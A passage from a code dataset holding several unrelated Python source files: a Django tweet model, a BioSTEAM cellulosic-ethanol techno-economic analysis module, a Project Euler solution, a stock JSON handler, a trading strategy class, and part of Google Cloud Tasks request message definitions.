stars = models.IntegerField(null=False, default=0)\n likes = models.IntegerField(null=False)\n retweets = models.IntegerField(null=False)\n replies = models.IntegerField(null=False)\n is_replied = models.BooleanField(null=False)\n\n # detail of reply to others\n is_reply_to = models.BooleanField(null=False)\n parent_tweet_id = models.BigIntegerField(null=True)\n parent_tweet_id_str = models.CharField(null=True, max_length=255)\n reply_to_users = models.CharField(null=True, max_length=255)\n\n # contest info\n contest = models.ForeignKey(\n null=False, to=Contest, to_field='contest_id', on_delete=models.PROTECT)\n\n # meta\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return f'@{self.screen_name}: {self.text}'\n","sub_path":"atcoder-stream-backend/atcoder-stream-api/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439109784","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 1 21:48:12 2019\n\n@author: yoelr\n\"\"\"\n\nfrom biosteam import TEA\nimport thermosteam as tmo\nimport biosteam as bst\nimport pandas as pd\nimport numpy as np\n\n__all__ = ('CellulosicEthanolTEA', 'create_tea', \n 'capex_table', 'voc_table', 'foc_table')\n\nclass CAPEXTableBuilder:\n __slots__ = ('index', 'cost', 'notes')\n \n def __init__(self):\n self.index = []\n self.cost = []\n self.notes = []\n \n def entry(self, index: str, cost: float, notes: str = '-'):\n self.index.append(index)\n self.cost.append(cost)\n self.notes.append(notes)\n \n def table(self):\n data = tuple(zip(self.notes, self.cost))\n return pd.DataFrame(data, \n index=self.index,\n columns=('Notes', 'Cost [MM$]')\n )\n\n\nclass VOCTableBuilder:\n __slots__ = ('index', 'price', 'cost', 'operating_days')\n \n def __init__(self, operating_days):\n self.operating_days = operating_days\n self.index = []\n self.price = []\n self.cost = []\n \n def entry(self, stream, name=None, price=None):\n if not name:\n name = stream.ID.replace('_', ' ')\n if name.islower(): name= name.capitalize()\n if price: \n cost = price * self.operating_days * stream.get_total_flow('ton/day') / 1e6\n else:\n price = stream.price * 907.185\n cost = stream.cost * self.operating_days * 24. / 1e6\n if stream.isfeed():\n index = ('Raw materials', name)\n elif stream.isproduct():\n index = ('By-products and credits', name)\n else:\n raise ValueError('stream must be either a feed or a product')\n self.index.append(index)\n self.price.append(price)\n self.cost.append(cost)\n \n def table(self):\n VOC = 0.\n for index, cost in zip(self.index, self.cost):\n kind = index[0]\n if kind == 'Raw materials':\n VOC += cost\n elif kind == 'By-products and credits':\n VOC += -cost\n else:\n raise RuntimeError(f\"invalid index '{kind}'\")\n data = (*zip(self.price, self.cost), ('', VOC))\n index = pd.MultiIndex.from_tuples(self.index + [('Total variable operating cost', '')])\n return pd.DataFrame(data, \n index=index,\n columns=('Price [$/ton]', 'Cost [MM$ / yr]'))\n\n\nclass FOCTableBuilder:\n __slots__ = ('operating_days', 'index', 'price', 'notes')\n \n def __init__(self, operating_days):\n self.operating_days = operating_days\n self.index = []\n self.price = []\n self.notes = []\n \n def entry(self, index, cost, notes='-'):\n self.index.append(index)\n self.price.append(cost)\n self.notes.append(notes)\n \n def table(self):\n yearly_cost = np.array(self.price) * self.operating_days / 365.\n data = tuple(zip(self.notes, self.price, yearly_cost))\n return pd.DataFrame(data, \n index=self.index,\n columns=(\n 'Notes',\n 'Price [MM$ / yr]',\n 'Cost [MM$ / yr]',\n )\n )\n \n \nclass CellulosicEthanolTEA(TEA):\n \n __slots__ = ('OSBL_units', 'warehouse', 'site_development',\n 'additional_piping', 'proratable_costs', 'field_expenses',\n 'construction', 'contingency', 'other_indirect_costs', \n 'labor_cost', 'labor_burden', 'property_insurance',\n 'maintenance', '_ISBL_DPI_cached', '_FCI_cached',\n '_utility_cost_cached', '_steam_power_depreciation',\n '_steam_power_depreciation_array',\n 'boiler_turbogenerator')\n \n def __init__(self, system, IRR, duration, depreciation, income_tax,\n operating_days, lang_factor, construction_schedule,\n startup_months, startup_FOCfrac, startup_VOCfrac,\n startup_salesfrac, WC_over_FCI, finance_interest,\n finance_years, finance_fraction, OSBL_units, warehouse,\n site_development, additional_piping, proratable_costs,\n field_expenses, construction, contingency,\n other_indirect_costs, labor_cost, labor_burden,\n property_insurance, maintenance, steam_power_depreciation,\n boiler_turbogenerator):\n super().__init__(system, IRR, duration, depreciation, income_tax,\n operating_days, lang_factor, construction_schedule,\n startup_months, startup_FOCfrac, startup_VOCfrac,\n startup_salesfrac, WC_over_FCI, finance_interest,\n finance_years, finance_fraction)\n self.OSBL_units = OSBL_units\n self.warehouse = warehouse\n self.site_development = site_development\n self.additional_piping = additional_piping\n self.proratable_costs = proratable_costs\n self.field_expenses = field_expenses\n self.construction = construction\n self.contingency = contingency\n self.other_indirect_costs = other_indirect_costs\n self.labor_cost = labor_cost\n self.labor_burden = labor_burden\n self.property_insurance = property_insurance\n self.maintenance = maintenance\n self.steam_power_depreciation = steam_power_depreciation\n self.boiler_turbogenerator = boiler_turbogenerator\n \n @property\n def steam_power_depreciation(self):\n \"\"\"[str] 'MACRS' + number of years (e.g. 'MACRS7').\"\"\"\n return self._steam_power_depreciation\n @steam_power_depreciation.setter\n def steam_power_depreciation(self, depreciation):\n try:\n self._steam_power_depreciation_array = self.depreciation_schedules[depreciation]\n except KeyError:\n raise ValueError(f\"depreciation must be either 'MACRS5', 'MACRS7', 'MACRS10' or 'MACRS15 (not {repr(depreciation)})\")\n self._steam_power_depreciation = depreciation\n \n @property\n def ISBL_installed_equipment_cost(self):\n return self._ISBL_DPI(self.DPI)\n \n @property\n def OSBL_installed_equipment_cost(self):\n if self.lang_factor:\n raise NotImplementedError('lang factor cannot yet be used')\n elif isinstance(self.system, bst.AgileSystem):\n unit_capital_costs = self.system.unit_capital_costs\n OSBL_units = self.OSBL_units\n return sum([unit_capital_costs[i].installed_cost for i in OSBL_units])\n else:\n return sum([i.installed_cost for i in self.OSBL_units])\n \n def _fill_depreciation_array(self, D, start, years, TDC):\n depreciation_array = self._depreciation_array\n N_depreciation_years = depreciation_array.size\n if N_depreciation_years > years:\n raise RuntimeError('depreciation schedule is longer than plant lifetime')\n system = self.system\n BT = self.boiler_turbogenerator\n if BT is None:\n D[start:start + N_depreciation_years] = TDC * depreciation_array\n else:\n if isinstance(system, bst.AgileSystem): BT = system.unit_capital_costs[BT]\n BT_TDC = BT.installed_cost \n D[start:start + N_depreciation_years] = (TDC - BT_TDC) * depreciation_array\n \n depreciation_array = self._steam_power_depreciation_array\n N_depreciation_years = depreciation_array.size\n if N_depreciation_years > years:\n raise RuntimeError('steam power depreciation schedule is longer than plant lifetime')\n D[start:start + N_depreciation_years] += BT_TDC * depreciation_array\n \n def _ISBL_DPI(self, installed_equipment_cost):\n \"\"\"Direct permanent investment of units inside battery limits.\"\"\"\n if self.lang_factor:\n raise NotImplementedError('lang factor cannot yet be used')\n else:\n self._ISBL_DPI_cached = installed_equipment_cost - self.OSBL_installed_equipment_cost\n return self._ISBL_DPI_cached\n \n def _DPI(self, installed_equipment_cost):\n factors = self.warehouse + self.site_development + self.additional_piping\n return installed_equipment_cost + self._ISBL_DPI(installed_equipment_cost) * factors\n \n def _indirect_costs(self, TDC):\n return TDC*(self.proratable_costs + self.field_expenses\n + self.construction + self.contingency\n + self.other_indirect_costs)\n \n def _FCI(self, TDC):\n self._FCI_cached = FCI = TDC + self._indirect_costs(TDC)\n return FCI\n \n def _FOC(self, FCI):\n return (FCI * self.property_insurance\n + self._ISBL_DPI_cached * self.maintenance\n + self.labor_cost * (1 + self.labor_burden))\n\n\ndef create_tea(sys, OSBL_units=None, cls=None):\n if OSBL_units is None: OSBL_units = bst.get_OSBL(sys.cost_units)\n try:\n BT = tmo.utils.get_instance(OSBL_units, (bst.BoilerTurbogenerator, bst.Boiler))\n except:\n BT = None\n if cls is None: cls = CellulosicEthanolTEA\n tea = cls(\n system=sys, \n IRR=0.10, \n duration=(2007, 2037),\n depreciation='MACRS7', \n income_tax=0.35,\n operating_days=350.4,\n lang_factor=None, \n construction_schedule=(0.08, 0.60, 0.32),\n startup_months=3, \n startup_FOCfrac=1,\n startup_salesfrac=0.5,\n startup_VOCfrac=0.75,\n WC_over_FCI=0.05,\n finance_interest=0.08,\n finance_years=10,\n finance_fraction=0.4,\n OSBL_units=OSBL_units,\n warehouse=0.04, \n site_development=0.09, \n additional_piping=0.045,\n proratable_costs=0.10,\n field_expenses=0.10,\n construction=0.20,\n contingency=0.10,\n other_indirect_costs=0.10, \n labor_cost=2.5e6,\n labor_burden=0.90,\n property_insurance=0.007, \n maintenance=0.03,\n steam_power_depreciation='MACRS20',\n boiler_turbogenerator=BT)\n return tea\n\ndef capex_table(tea):\n capex = CAPEXTableBuilder()\n ISBL_installed_equipment_cost = tea.ISBL_installed_equipment_cost / 1e6\n OSBL_installed_equipment_cost = tea.OSBL_installed_equipment_cost / 1e6\n capex.entry('ISBL installed equipment cost', ISBL_installed_equipment_cost)\n capex.entry('OSBL installed equipment cost', OSBL_installed_equipment_cost)\n ISBL_factor_entry = lambda name, value: capex.entry(name, ISBL_installed_equipment_cost * value, f\"{value:.1%} of ISBL\")\n ISBL_factor_entry('Warehouse', tea.warehouse)\n ISBL_factor_entry('Site development', tea.site_development)\n ISBL_factor_entry('Additional piping', tea.additional_piping)\n TDC = sum(capex.cost)\n capex.entry('Total direct cost (TDC)', TDC)\n TDC_factor_entry = lambda name, value: capex.entry(name, TDC * value, f\"{value:.1%} of TDC\")\n TDC_factor_entry('Proratable costs', tea.proratable_costs)\n TDC_factor_entry('Field expenses', tea.field_expenses)\n TDC_factor_entry('Construction', tea.construction)\n TDC_factor_entry('Contingency', tea.contingency)\n TDC_factor_entry('Other indirect costs (start-up, permits, etc.)', tea.other_indirect_costs)\n TIC = sum(capex.cost) - 2 * TDC\n capex.entry('Total indirect cost', TIC)\n FCI = TDC + TIC\n capex.entry('Fixed capital investment (FCI)', FCI)\n working_capital = FCI * tea.WC_over_FCI\n capex.entry('Working capital', working_capital, f\"{tea.WC_over_FCI:.1%} of FCI\")\n TCI = FCI + working_capital\n capex.entry('Total capital investment (TCI)', TCI)\n return capex.table()\n\ndef voc_table(system, tea, main_products):\n voc = VOCTableBuilder(tea.operating_days)\n for i in system.feeds + system.products: \n if i in main_products: continue\n if i.price and not i.isempty(): voc.entry(i)\n isa = isinstance\n for i in set(system.facilities):\n if isa(i, bst.BoilerTurbogenerator):\n natural_gas = i.ins[3]\n if natural_gas.isempty(): continue\n voc.entry(natural_gas, price=i.natural_gas_price * 907.185)\n return voc.table()\n\ndef foc_table(tea):\n foc = FOCTableBuilder(tea.operating_days)\n ISBL = tea.ISBL_installed_equipment_cost / 1e6\n labor_cost = tea.labor_cost / 1e6\n foc.entry('Labor salary', labor_cost)\n foc.entry('Labor burden', tea.labor_burden * labor_cost, '90% of labor salary')\n foc.entry('Maintenance', tea.maintenance * ISBL, f'{tea.maintenance:.1%} of ISBL')\n foc.entry('Property insurance', tea.property_insurance * ISBL, f'{tea.maintenance:.1%} of ISBL')\n return foc.table()","sub_path":"BioSTEAM 2.x.x/biorefineries/cornstover/_tea.py","file_name":"_tea.py","file_ext":"py","file_size_in_byte":12869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"87767053","text":"\"\"\"\n2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.\nWhat is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?\n\"\"\"\n\n\n# Version 1: Brutal force\nfrom functools import reduce\n\ndef even_distribute(n1, n2):\n \"\"\"\"find the positive number that can be evenly divided by numbers from range(n1, n2+1)\"\"\"\n sample, maximum = 1, reduce(lambda x, y: x*y, range(n1,n2+1))\n while sample <= maximum:\n if all(sample % i == 0 for i in range(n1, n2+1)): # list comprehension is used\n return sample\n sample += 1\n\n# print(even_distribute(1, 20))\n# >>> 232792560 # this will take too much time (~200 sec)\n\n\n\n# Version 2: Use greatest common divisor, to calculate\n\ndef smallest_multiple(n1, n2):\n \"\"\"\"find the positive number that can be evenly divided by numbers from range(n1, n2+1)\"\"\"\n\n def lowest_common_multiple(x, y):\n for i in range(min(x, y), 0, -1):\n if x % i == 0 and y % i == 0:\n return x * y // i\n\n return reduce(lowest_common_multiple, range(n1, n2+1))\n\nif __name__ == \"__main__\":\n assert smallest_multiple(1, 10) == 2520, \"regular\"\n print(smallest_multiple(1, 20))\n # >>> 232792560 # straightforward math calculation takes almost no itme.\n # passed\n","sub_path":"AlgorithmTraining/ProjectEuler/p005_smallest_multiple.py","file_name":"p005_smallest_multiple.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"263042797","text":"import json\n\n\nclass StockDetails:\n def __init__(self):\n self.stock_name = []\n self.number_of_share = []\n self.share_price = []\n self.total = []\n\n def json_handler(self):\n \"\"\"\n This method is used to handle json file.\n :return: None\n \"\"\"\n with open('stock_details.json', 'r') as json_file:\n data = json.load(json_file)\n # Getting the details from json and calculate total.\n for details in data['stock_details']:\n self.stock_name.append(details['stock_name'])\n self.number_of_share.append(details['number_of_share'])\n self.share_price.append(details['share_price'])\n self.total.append(str(int(details['number_of_share']) * int(details['share_price'])))\n # Assigned the total into the json file.\n index = 0\n for details in data['stock_details']:\n details['stock_name'] = self.stock_name[index]\n details['number_of_share'] = self.number_of_share[index]\n details['share_price'] = self.share_price[index]\n details['total'] = self.total[index]\n index += 1\n with open(\"stock_details.json\", \"w\") as json_file:\n json.dump(data, json_file, indent=2)\n","sub_path":"object_oriented_programs/stock_account_management/StockDetails.py","file_name":"StockDetails.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152811722","text":"#%%\r\nfrom .process.trade_process import trade_process\r\nclass trade_strategy_1(trade_process):\r\n def apply_trading_strategy(self):\r\n self.long_signal = False\r\n self.short_signal = False\r\n self.buy_signal = False\r\n self.sell_signal = False\r\n\r\n first_action = True\r\n for i in range(len(self.data)):\r\n if first_action:\r\n #long or short\r\n if self.should_long(i):\r\n self.trade_long(i, self.long_quantity(i))\r\n elif self.should_short(i):\r\n self.trade_short(i, self.short_quantity(i))\r\n\r\n first_action = False\r\n elif self.do_next_trade(i,3):\r\n if self.current_situation > 0:\r\n #long or sell\r\n if self.should_sell(i):\r\n self.trade_sell(i, self.sell_quantity(i))\r\n elif self.should_long(i):\r\n self.trade_long(i, self.long_quantity(i))\r\n elif self.current_situation < 0:\r\n #short or buy\r\n if self.should_buy(i):\r\n self.trade_buy(i, self.buy_quantity(i))\r\n elif self.should_short(i):\r\n self.trade_short(i, self.short_quantity(i))\r\n else:\r\n #long or short\r\n if self.should_long(i):\r\n self.trade_long(i, self.long_quantity(i))\r\n elif self.should_short(i):\r\n self.trade_short(i, self.short_quantity(i))\r\n \r\n def do_next_trade(self, i, period):\r\n if i >= self.previous_action + period:\r\n return True\r\n else:\r\n return False \r\n \r\n def should_long(self, i):\r\n if (self.data[\"SMA_20\"].iloc[i-1] <= self.data[\"SMA_60\"].iloc[i-1]) and (self.data[\"SMA_20\"].iloc[i] > self.data[\"SMA_60\"].iloc[i]):\r\n return True\r\n else:\r\n return False\r\n \r\n def should_short(self, i):\r\n if self.current_situation > -5:\r\n if (self.data[\"Upper BBand\"].iloc[i-1] <= self.data[\"Upper KC\"].iloc[i-1]) and (self.data[\"Upper BBand\"].iloc[i] > self.data[\"Upper KC\"].iloc[i]):\r\n return True\r\n else:\r\n return False\r\n else:\r\n return False\r\n\r\n def should_buy(self, i):\r\n if (self.data[\"Lower KC\"].iloc[i] > self.data[\"Lower BBand\"].iloc[i]) and (self.data[\"Parabolic SAR\"].iloc[i] > self.data[\"High\"].iloc[i]):\r\n return True\r\n else:\r\n return False\r\n\r\n def should_sell(self, i):\r\n if self.data[\"SMA_20\"].iloc[i] < self.data[\"SMA_60\"].iloc[i]:\r\n return True\r\n else:\r\n return False\r\n \r\n def long_quantity(self, i):\r\n return 1\r\n \r\n def short_quantity(self, i):\r\n return 1\r\n \r\n def buy_quantity(self, i):\r\n expect_quantity = 1\r\n if self.current_situation >= -1*expect_quantity:\r\n return abs(self.current_situation)\r\n else:\r\n return expect_quantity\r\n \r\n def sell_quantity(self, i):\r\n expect_quantity = 1\r\n if self.current_situation <= expect_quantity:\r\n return abs(self.current_situation)\r\n else:\r\n return expect_quantity","sub_path":"lib/strategies/strategy_0.py","file_name":"strategy_0.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"360765140","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import annotations\n\nfrom typing import MutableMapping, MutableSequence\n\nfrom google.api import httpbody_pb2 # type: ignore\nfrom google.protobuf import field_mask_pb2 # type: ignore\nimport proto # type: ignore\n\nfrom google.cloud.tasks_v2beta3.types import queue as gct_queue\nfrom google.cloud.tasks_v2beta3.types import task as gct_task\n\n__protobuf__ = proto.module(\n package=\"google.cloud.tasks.v2beta3\",\n manifest={\n \"ListQueuesRequest\",\n \"ListQueuesResponse\",\n \"GetQueueRequest\",\n \"CreateQueueRequest\",\n \"UpdateQueueRequest\",\n \"DeleteQueueRequest\",\n \"PurgeQueueRequest\",\n \"PauseQueueRequest\",\n \"ResumeQueueRequest\",\n \"ListTasksRequest\",\n \"ListTasksResponse\",\n \"GetTaskRequest\",\n \"CreateTaskRequest\",\n \"DeleteTaskRequest\",\n \"RunTaskRequest\",\n \"BufferTaskRequest\",\n \"BufferTaskResponse\",\n },\n)\n\n\nclass ListQueuesRequest(proto.Message):\n r\"\"\"Request message for\n [ListQueues][google.cloud.tasks.v2beta3.CloudTasks.ListQueues].\n\n Attributes:\n parent (str):\n Required. The location name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID``\n filter (str):\n ``filter`` can be used to specify a subset of queues. Any\n [Queue][google.cloud.tasks.v2beta3.Queue] field can be used\n as a filter and several operators as supported. For example:\n ``<=, <, >=, >, !=, =, :``. The filter syntax is the same as\n described in `Stackdriver's Advanced Logs\n Filters `__.\n\n Sample filter \"state: PAUSED\".\n\n Note that using filters might cause fewer queues than the\n requested page_size to be returned.\n page_size (int):\n Requested page size.\n\n The maximum page size is 9800. If unspecified, the page size\n will be the maximum. Fewer queues than requested might be\n returned, even if more queues exist; use the\n [next_page_token][google.cloud.tasks.v2beta3.ListQueuesResponse.next_page_token]\n in the response to determine if more queues exist.\n page_token (str):\n A token identifying the page of results to return.\n\n To request the first page results, page_token must be empty.\n To request the next page of results, page_token must be the\n value of\n [next_page_token][google.cloud.tasks.v2beta3.ListQueuesResponse.next_page_token]\n returned from the previous call to\n [ListQueues][google.cloud.tasks.v2beta3.CloudTasks.ListQueues]\n method. It is an error to switch the value of the\n [filter][google.cloud.tasks.v2beta3.ListQueuesRequest.filter]\n while iterating through pages.\n read_mask (google.protobuf.field_mask_pb2.FieldMask):\n Optional. Read mask is used for a more granular control over\n what the API returns. If the mask is not present all fields\n will be returned except [Queue.stats]. [Queue.stats] will be\n returned only if it was explicitly specified in the mask.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n filter: str = proto.Field(\n proto.STRING,\n number=2,\n )\n page_size: int = proto.Field(\n proto.INT32,\n number=3,\n )\n page_token: str = proto.Field(\n proto.STRING,\n number=4,\n )\n read_mask: field_mask_pb2.FieldMask = proto.Field(\n proto.MESSAGE,\n number=5,\n message=field_mask_pb2.FieldMask,\n )\n\n\nclass ListQueuesResponse(proto.Message):\n r\"\"\"Response message for\n [ListQueues][google.cloud.tasks.v2beta3.CloudTasks.ListQueues].\n\n Attributes:\n queues (MutableSequence[google.cloud.tasks_v2beta3.types.Queue]):\n The list of queues.\n next_page_token (str):\n A token to retrieve next page of results.\n\n To return the next page of results, call\n [ListQueues][google.cloud.tasks.v2beta3.CloudTasks.ListQueues]\n with this value as the\n [page_token][google.cloud.tasks.v2beta3.ListQueuesRequest.page_token].\n\n If the next_page_token is empty, there are no more results.\n\n The page token is valid for only 2 hours.\n \"\"\"\n\n @property\n def raw_page(self):\n return self\n\n queues: MutableSequence[gct_queue.Queue] = proto.RepeatedField(\n proto.MESSAGE,\n number=1,\n message=gct_queue.Queue,\n )\n next_page_token: str = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass GetQueueRequest(proto.Message):\n r\"\"\"Request message for\n [GetQueue][google.cloud.tasks.v2beta3.CloudTasks.GetQueue].\n\n Attributes:\n name (str):\n Required. The resource name of the queue. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID``\n read_mask (google.protobuf.field_mask_pb2.FieldMask):\n Optional. Read mask is used for a more granular control over\n what the API returns. If the mask is not present all fields\n will be returned except [Queue.stats]. [Queue.stats] will be\n returned only if it was explicitly specified in the mask.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n read_mask: field_mask_pb2.FieldMask = proto.Field(\n proto.MESSAGE,\n number=2,\n message=field_mask_pb2.FieldMask,\n )\n\n\nclass CreateQueueRequest(proto.Message):\n r\"\"\"Request message for\n [CreateQueue][google.cloud.tasks.v2beta3.CloudTasks.CreateQueue].\n\n Attributes:\n parent (str):\n Required. The location name in which the queue will be\n created. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID``\n\n The list of allowed locations can be obtained by calling\n Cloud Tasks' implementation of\n [ListLocations][google.cloud.location.Locations.ListLocations].\n queue (google.cloud.tasks_v2beta3.types.Queue):\n Required. The queue to create.\n\n [Queue's name][google.cloud.tasks.v2beta3.Queue.name] cannot\n be the same as an existing queue.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n queue: gct_queue.Queue = proto.Field(\n proto.MESSAGE,\n number=2,\n message=gct_queue.Queue,\n )\n\n\nclass UpdateQueueRequest(proto.Message):\n r\"\"\"Request message for\n [UpdateQueue][google.cloud.tasks.v2beta3.CloudTasks.UpdateQueue].\n\n Attributes:\n queue (google.cloud.tasks_v2beta3.types.Queue):\n Required. The queue to create or update.\n\n The queue's [name][google.cloud.tasks.v2beta3.Queue.name]\n must be specified.\n\n Output only fields cannot be modified using UpdateQueue. Any\n value specified for an output only field will be ignored.\n The queue's [name][google.cloud.tasks.v2beta3.Queue.name]\n cannot be changed.\n update_mask (google.protobuf.field_mask_pb2.FieldMask):\n A mask used to specify which fields of the\n queue are being updated.\n If empty, then all fields will be updated.\n \"\"\"\n\n queue: gct_queue.Queue = proto.Field(\n proto.MESSAGE,\n number=1,\n message=gct_queue.Queue,\n )\n update_mask: field_mask_pb2.FieldMask = proto.Field(\n proto.MESSAGE,\n number=2,\n message=field_mask_pb2.FieldMask,\n )\n\n\nclass DeleteQueueRequest(proto.Message):\n r\"\"\"Request message for\n [DeleteQueue][google.cloud.tasks.v2beta3.CloudTasks.DeleteQueue].\n\n Attributes:\n name (str):\n Required. The queue name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID``\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass PurgeQueueRequest(proto.Message):\n r\"\"\"Request message for\n [PurgeQueue][google.cloud.tasks.v2beta3.CloudTasks.PurgeQueue].\n\n Attributes:\n name (str):\n Required. The queue name. For example:\n ``projects/PROJECT_ID/location/LOCATION_ID/queues/QUEUE_ID``\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass PauseQueueRequest(proto.Message):\n r\"\"\"Request message for\n [PauseQueue][google.cloud.tasks.v2beta3.CloudTasks.PauseQueue].\n\n Attributes:\n name (str):\n Required. The queue name. For example:\n ``projects/PROJECT_ID/location/LOCATION_ID/queues/QUEUE_ID``\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass ResumeQueueRequest(proto.Message):\n r\"\"\"Request message for\n [ResumeQueue][google.cloud.tasks.v2beta3.CloudTasks.ResumeQueue].\n\n Attributes:\n name (str):\n Required. The queue name. For example:\n ``projects/PROJECT_ID/location/LOCATION_ID/queues/QUEUE_ID``\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass ListTasksRequest(proto.Message):\n r\"\"\"Request message for listing tasks using\n [ListTasks][google.cloud.tasks.v2beta3.CloudTasks.ListTasks].\n\n Attributes:\n parent (str):\n Required. The queue name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID``\n response_view (google.cloud.tasks_v2beta3.types.Task.View):\n The response_view specifies which subset of the\n [Task][google.cloud.tasks.v2beta3.Task] will be returned.\n\n By default response_view is\n [BASIC][google.cloud.tasks.v2beta3.Task.View.BASIC]; not all\n information is retrieved by default because some data, such\n as payloads, might be desirable to return only when needed\n because of its large size or because of the sensitivity of\n data that it contains.\n\n Authorization for\n [FULL][google.cloud.tasks.v2beta3.Task.View.FULL] requires\n ``cloudtasks.tasks.fullView`` `Google\n IAM `__ permission on the\n [Task][google.cloud.tasks.v2beta3.Task] resource.\n page_size (int):\n Maximum page size.\n\n Fewer tasks than requested might be returned, even if more\n tasks exist; use\n [next_page_token][google.cloud.tasks.v2beta3.ListTasksResponse.next_page_token]\n in the response to determine if more tasks exist.\n\n The maximum page size is 1000. If unspecified, the page size\n will be the maximum.\n page_token (str):\n A token identifying the page of results to return.\n\n To request the first page results, page_token must be empty.\n To request the next page of results, page_token must be the\n value of\n [next_page_token][google.cloud.tasks.v2beta3.ListTasksResponse.next_page_token]\n returned from the previous call to\n [ListTasks][google.cloud.tasks.v2beta3.CloudTasks.ListTasks]\n method.\n\n The page token is valid for only 2 hours.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n response_view: gct_task.Task.View = proto.Field(\n proto.ENUM,\n number=2,\n enum=gct_task.Task.View,\n )\n page_size: int = proto.Field(\n proto.INT32,\n number=3,\n )\n page_token: str = proto.Field(\n proto.STRING,\n number=4,\n )\n\n\nclass ListTasksResponse(proto.Message):\n r\"\"\"Response message for listing tasks using\n [ListTasks][google.cloud.tasks.v2beta3.CloudTasks.ListTasks].\n\n Attributes:\n tasks (MutableSequence[google.cloud.tasks_v2beta3.types.Task]):\n The list of tasks.\n next_page_token (str):\n A token to retrieve next page of results.\n\n To return the next page of results, call\n [ListTasks][google.cloud.tasks.v2beta3.CloudTasks.ListTasks]\n with this value as the\n [page_token][google.cloud.tasks.v2beta3.ListTasksRequest.page_token].\n\n If the next_page_token is empty, there are no more results.\n \"\"\"\n\n @property\n def raw_page(self):\n return self\n\n tasks: MutableSequence[gct_task.Task] = proto.RepeatedField(\n proto.MESSAGE,\n number=1,\n message=gct_task.Task,\n )\n next_page_token: str = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass GetTaskRequest(proto.Message):\n r\"\"\"Request message for getting a task using\n [GetTask][google.cloud.tasks.v2beta3.CloudTasks.GetTask].\n\n Attributes:\n name (str):\n Required. The task name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID``\n response_view (google.cloud.tasks_v2beta3.types.Task.View):\n The response_view specifies which subset of the\n [Task][google.cloud.tasks.v2beta3.Task] will be returned.\n\n By default response_view is\n [BASIC][google.cloud.tasks.v2beta3.Task.View.BASIC]; not all\n information is retrieved by default because some data, such\n as payloads, might be desirable to return only when needed\n because of its large size or because of the sensitivity of\n data that it contains.\n\n Authorization for\n [FULL][google.cloud.tasks.v2beta3.Task.View.FULL] requires\n ``cloudtasks.tasks.fullView`` `Google\n IAM `__ permission on the\n [Task][google.cloud.tasks.v2beta3.Task] resource.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n response_view: gct_task.Task.View = proto.Field(\n proto.ENUM,\n number=2,\n enum=gct_task.Task.View,\n )\n\n\nclass CreateTaskRequest(proto.Message):\n r\"\"\"Request message for\n [CreateTask][google.cloud.tasks.v2beta3.CloudTasks.CreateTask].\n\n Attributes:\n parent (str):\n Required. The queue name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID``\n\n The queue must already exist.\n task (google.cloud.tasks_v2beta3.types.Task):\n Required. The task to add.\n\n Task names have the following format:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID``.\n The user can optionally specify a task\n [name][google.cloud.tasks.v2beta3.Task.name]. If a name is\n not specified then the system will generate a random unique\n task id, which will be set in the task returned in the\n [response][google.cloud.tasks.v2beta3.Task.name].\n\n If\n [schedule_time][google.cloud.tasks.v2beta3.Task.schedule_time]\n is not set or is in the past then Cloud Tasks will set it to\n the current time.\n\n Task De-duplication:\n\n Explicitly specifying a task ID enables task de-duplication.\n If a task's ID is identical to that of an existing task or a\n task that was deleted or executed recently then the call\n will fail with\n [ALREADY_EXISTS][google.rpc.Code.ALREADY_EXISTS]. If the\n task's queue was created using Cloud Tasks, then another\n task with the same name can't be created for ~1 hour after\n the original task was deleted or executed. If the task's\n queue was created using queue.yaml or queue.xml, then\n another task with the same name can't be created for ~9 days\n after the original task was deleted or executed.\n\n Because there is an extra lookup cost to 